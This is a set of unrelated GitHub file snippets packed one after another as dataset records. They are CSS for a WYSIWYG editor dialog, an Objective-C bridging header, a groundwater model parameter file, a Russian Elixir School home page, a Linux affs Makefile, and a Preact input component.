div.wysiwyg ul.toolbar li.empty { background-position: -73px -86px; }
div.wysiwyg ul.toolbar li.code { background-position: -74px -106px; }
div.wysiwyg ul.toolbar li.cssWrap { background-position: -92px -106px; }
div.wysiwyg-dialogRow { float:left; width:100%; font-size: 16px; }
div.wysiwyg iframe { clear: left;
-moz-box-shadow :inset 0 0 10px rgba(0, 0, 0, 0.4);
-webkit-box-shadow :inset 0 0 10px rgba(0, 0, 0, 0.4);
box-shadow :inset 0 0 10px rgba(0, 0, 0, 0.4);
background-color:white; padding:0px; margin:0; display:block; width: 100%; }
/* dialog */
.wysiwyg-dialog { position:fixed; top:50px; left:50px; width:450px; height:300px; background:transparent; font:14px "Helvetic Neue", Helvetica,Arial,sans-serif; }
.wysiwyg-dialog .wysiwyg-dialog-topbar { background:#333; border:1px #111 solid; color:white; padding:10px; position:relative; }
.wysiwyg-dialog .wysiwyg-dialog-topbar .wysiwyg-dialog-close-wrapper .wysiwyg-dialog-close-button { color:white; text-decoration:none; display:block; padding:6px 10px; position:absolute; right:12px; top:50%; height:14px; margin-top:-12px; }
.wysiwyg-dialog .wysiwyg-dialog-topbar .wysiwyg-dialog-close-wrapper a.wysiwyg-dialog-close-button:hover { background:#666; }
.wysiwyg-dialog .wysiwyg-dialog-topbar .wysiwyg-dialog-title { font-size:20px; font-weight:bold; padding:5px; }
.wysiwyg-dialog .wysiwyg-dialog-content { border:1px #ccc solid; border-top:0; padding:15px; background:white; }
.wysiwyg-dialog-modal-div { position:absolute; top:0px; left:0px; width:100%; height:100%; background-color:rgb(255,255,255); background-color:rgba(0,0,0,0.5); filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#99000000, endColorstr=#99000000); -ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#99000000, endColorstr=#99000000)";}
.wysiwyg-dialog-content form.wysiwyg fieldset { border:1px #ccc solid; }
.wysiwyg-dialog-content form.wysiwyg legend { padding:7px; }
.wysiwyg-dialog-content form.wysiwyg .form-row { clear:both; padding:4px 0; }
.wysiwyg-dialog-content form.wysiwyg .form-row label, .wysiwyg-dialog form.wysiwyg .form-row .form-row-key { display:block; float:left; width:35%; text-align:right; padding:4px 5px; }
.wysiwyg-dialog-content form.wysiwyg .form-row .form-row-value { display:block; float:left; width:55%; }
.wysiwyg-dialog-content form.wysiwyg .form-row input.width-auto { width:auto; }
.wysiwyg-dialog-content form.wysiwyg input.width-small { width:50px; min-width:50px; max-width:50px; }
.wysiwyg-dialog-content form.wysiwyg input, .wysiwyg-dialog form.wysiwyg select { padding:2px; width:100%; margin:2px; }
.wysiwyg-dialog-content form.wysiwyg input[type=submit], .wysiwyg-dialog form.wysiwyg input[type=reset] { padding:2px 7px; width:auto; }
|
{
"pile_set_name": "Github"
}
|
//
// FormatRelay-Bridging-Header.h
// LNProvider
//
// Created by John Holdsworth on 03/04/2017.
// Copyright © 2017 John Holdsworth. All rights reserved.
//
#import "LNExtensionProtocol.h"
#define EXTENSION_IMPL_SERVICE "com.johnholdsworth.FormatImpl"
|
{
"pile_set_name": "Github"
}
|
0 1.00E+30 0 0.00E+00 0 0 IBCFCB,HDRY,IWDFLG,WETFCT,IWETIT,IHDWET
1 0 0
CONSTANT 1.000000E+00 TRPY
CONSTANT 1.000000E-03 HY layer 1
CONSTANT 2.000000E-08 VCONT layer 1
CONSTANT 1.000000E-02 TRAN layer 2
CONSTANT 1.000000E-08 VCONT layer 2
CONSTANT 2.000000E-02 TRAN layer 3
|
{
"pile_set_name": "Github"
}
|
---
title: Elixir School
layout: home
version: 2.0.0
---
Elixir School — главный ресурс для тех, кто хочет изучить язык программирования Elixir.
Независимо от вашего опыта в разработке ПО, вы найдёте все необходимое в уроках и на вспомогательных ресурсах.
Благодаря тяжёлому труду добровольцев, Elixir School был переведён на множество языков. Некоторые из этих переводов: [Việt ngữ][vi], [简体中文][zh-hans], [繁體中文][zh-hant], [Español][es], [Slovenčina][sk], [日本語][ja], [Polski][pl], [Português][pt], [Русский][ru], [Bahasa Indonesia][id], [Bahasa Melayu][ms], [Український][uk], [한국어][ko], [Italiano][it], [Deutsch][de], [বাংলা][bn], [Türkçe][tr] и [ภาษาไทย][th].
Мы приветствуем любую помощь и призываем присоединиться к нам, чтобы сделать Elixir School лучше, в GitHub [elixirschool/elixirschool](https://github.com/elixirschool/elixirschool)!
[es]: /es/
[it]: /it/
[ja]: /ja/
[ko]: /ko/
[pl]: /pl/
[pt]: /pt/
[ru]: /ru/
[sk]: /sk/
[vi]: /vi/
[id]: /id/
[ms]: /ms/
[uk]: /uk/
[de]: /de/
[bn]: /bn/
[tr]: /tr/
[th]: /th/
[zh-hans]: /zh-hans/
[zh-hant]: /zh-hant/
|
{
"pile_set_name": "Github"
}
|
#
# Makefile for the Linux affs filesystem routines.
#
#ccflags-y := -DDEBUG=1
obj-$(CONFIG_AFFS_FS) += affs.o
affs-objs := super.o namei.o inode.o file.o dir.o amigaffs.o bitmap.o symlink.o
|
{
"pile_set_name": "Github"
}
|
import { Component, h } from 'preact'
import Label from '../components/Label'
import Wrapper from '../components/Wrapper'
import Text from '../components/Text'
export default class Input extends Component {
constructor(props, context) {
super(props, context)
this.state = { size: 50 }
this.setSize = this.setSize.bind(this)
}
setSize(e) {
this.setState({ size: e.target.value })
}
render() {
return (
<Wrapper flex="0 1 auto">
<br />
<Text>Change the input to experience dynamic styling.</Text>
<input type="number" onInput={this.setSize} defaultValue={this.state.size} />
<Label size={this.state.size}>
{this.state.size}
</Label>
</Wrapper>
)
}
}
|
{
"pile_set_name": "Github"
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.